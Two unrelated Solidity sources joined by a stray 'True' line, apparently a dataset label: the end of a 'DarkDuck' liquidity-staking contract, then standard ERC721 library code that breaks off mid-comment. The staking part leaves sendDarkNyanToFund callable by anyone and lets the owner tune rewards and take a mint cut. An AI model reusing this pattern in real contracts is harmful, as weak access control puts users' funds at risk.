block.number.sub(lastBlockChecked); // if (stakedBalances[_account].catnipPoolTokens > 0) { // stakedBalances[_account].rewards = stakedBalances[_account].rewards.add(stakedBalances[_account].catnipPoolTokens).add(liquidityBonus).mul(rewardBlocks).div(miningDifficulty); // } // stakedBalances[_account].lastBlockChecked = block.number; // emit Rewards(_account, stakedBalances[_account].rewards); // } _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event catnipUniStaked(address indexed user, uint256 amount, uint256 totalLiquidityStaked); event darkNyanUniStaked(address indexed user, uint256 amount, uint256 totalLiquidityStaked); event catnipUniWithdrawn(address indexed user, uint256 amount, uint256 totalLiquidityStaked); event darkNyanUniWithdrawn(address indexed user, uint256 amount, uint256 totalLiquidityStaked); event Rewards(address indexed user, uint256 reward); event FundsSentToFundingAddress(address indexed user, uint256 amount); event votingAddressChanged(address indexed user, address votingAddress); event catnipPairAddressChanged(address indexed user, address catnipPairAddress); event darkNyanPairAddressChanged(address indexed user, address darkNyanPairAddress); event difficultyChanged(address indexed user, uint256 difficulty); constructor(address _devAddress, uint256 _start_block) public payable ERC20("DarkDuck", "dDuck") { owner = msg.sender; devAddress = _devAddress; uint256 supply = 100; _mint(msg.sender, supply.mul(10 ** 18)); lastBlockSent = block.number; start_block = _start_block; } function transferOwnership(address newOwner) external _onlyOwner { assert(newOwner != address(0)/*, "Ownable: new owner is the zero address"*/); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setVotingAddress(address _account) public _onlyOwner { fundVotingAddress = _account; emit votingAddressChanged(msg.sender, fundVotingAddress); } function setCatnipPairAddress(address _uniV2address) public _onlyOwner { catnipUniswapV2Pair = _uniV2address; catnipV2 = IERC20(catnipUniswapV2Pair); emit catnipPairAddressChanged(msg.sender, catnipUniswapV2Pair); } function setdarkNyanPairAddress(address _uniV2address) public _onlyOwner { darkNyanUniswapV2Pair = _uniV2address; darkNyanV2 = IERC20(darkNyanUniswapV2Pair); emit darkNyanPairAddressChanged(msg.sender, darkNyanUniswapV2Pair); } function setMiningDifficulty(uint256 amount) public _onlyOwner { miningDifficulty = amount; emit difficultyChanged(msg.sender, miningDifficulty); } function stakeCatnipUni(uint256 amount) public updateStakingReward(msg.sender) { catnipV2.safeTransferFrom(msg.sender, address(this), amount); stakedBalances[msg.sender].catnipPoolTokens = stakedBalances[msg.sender].catnipPoolTokens.add(amount); totalLiquidityStaked = totalLiquidityStaked.add(amount); emit catnipUniStaked(msg.sender, stakedBalances[msg.sender].catnipPoolTokens, totalLiquidityStaked); } function withdrawCatnipUni(uint256 amount) public updateStakingReward(msg.sender) { catnipV2.safeTransfer(msg.sender, amount); stakedBalances[msg.sender].catnipPoolTokens = stakedBalances[msg.sender].catnipPoolTokens.sub(amount); totalLiquidityStaked = totalLiquidityStaked.sub(amount); emit catnipUniWithdrawn(msg.sender, amount, totalLiquidityStaked); } function stakeDarkNyanUni(uint256 amount) public updateStakingReward(msg.sender) { darkNyanV2.safeTransferFrom(msg.sender, address(this), amount); stakedBalances[msg.sender].darkNyanPoolTokens = stakedBalances[msg.sender].darkNyanPoolTokens.add(amount); totalLiquidityStaked = totalLiquidityStaked.add(amount); emit darkNyanUniStaked(msg.sender, amount, totalLiquidityStaked); } function withdrawDarkNyanUni(uint256 amount) public updateStakingReward(msg.sender) { darkNyanV2.safeTransfer(msg.sender, amount); stakedBalances[msg.sender].darkNyanPoolTokens = stakedBalances[msg.sender].darkNyanPoolTokens.sub(amount); totalLiquidityStaked = totalLiquidityStaked.sub(amount); emit darkNyanUniWithdrawn(msg.sender, amount, totalLiquidityStaked); } function getNipUniStakeAmount(address _account) public view returns (uint256) { return stakedBalances[_account].catnipPoolTokens; } function getDNyanUniStakeAmount(address _account) public view returns (uint256) { return stakedBalances[_account].darkNyanPoolTokens; } function myRewardsBalance(address _account) public view returns(uint256) { uint256 liquidityBonus; if (block.number >= start_block && stakedBalances[_account].darkNyanPoolTokens > 0) { liquidityBonus = stakedBalances[_account].darkNyanPoolTokens.div(liquidityMultiplier); } if (block.number >= start_block && block.number > stakedBalances[_account].lastBlockChecked) { uint256 lastBlockChecked = stakedBalances[_account].lastBlockChecked; if(stakedBalances[_account].lastBlockChecked == 0) { lastBlockChecked = block.number < start_block ? block.number : start_block; } uint256 rewardBlocks = block.number.sub(lastBlockChecked); if (stakedBalances[_account].catnipPoolTokens > 0) { return stakedBalances[_account].rewards.add((stakedBalances[_account].catnipPoolTokens.add(liquidityBonus)).mul(rewardBlocks).div(miningDifficulty)); } else { return 0; } } } function setDevAddress(address _devAddress) public _onlyOwner returns(uint256) { devAddress = _devAddress; } function getReward() public updateStakingReward(msg.sender) { require(0 < stakedBalances[msg.sender].rewards, "More than 0"); uint256 reward = stakedBalances[msg.sender].rewards; stakedBalances[msg.sender].rewards = 0; // 75% to User _mint(msg.sender, reward.div(20).mul(15)); // 20% to Funding pool _mint(address(this), reward.div(20).mul(4)); // 5% to DevFee _mint(owner, reward.div(20).mul(1)); emit Rewards(msg.sender, reward); } function toggleFundsTransfer() public _onlyOwner { isSendingFunds = !isSendingFunds; } function sendDarkNyanToFund(uint256 amount) public { if (!isSendingFunds) { return; } lastBlockSent = block.number; IERC20(address(this)).safeTransfer(fundVotingAddress, amount); emit FundsSentToFundingAddress(msg.sender, amount); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: 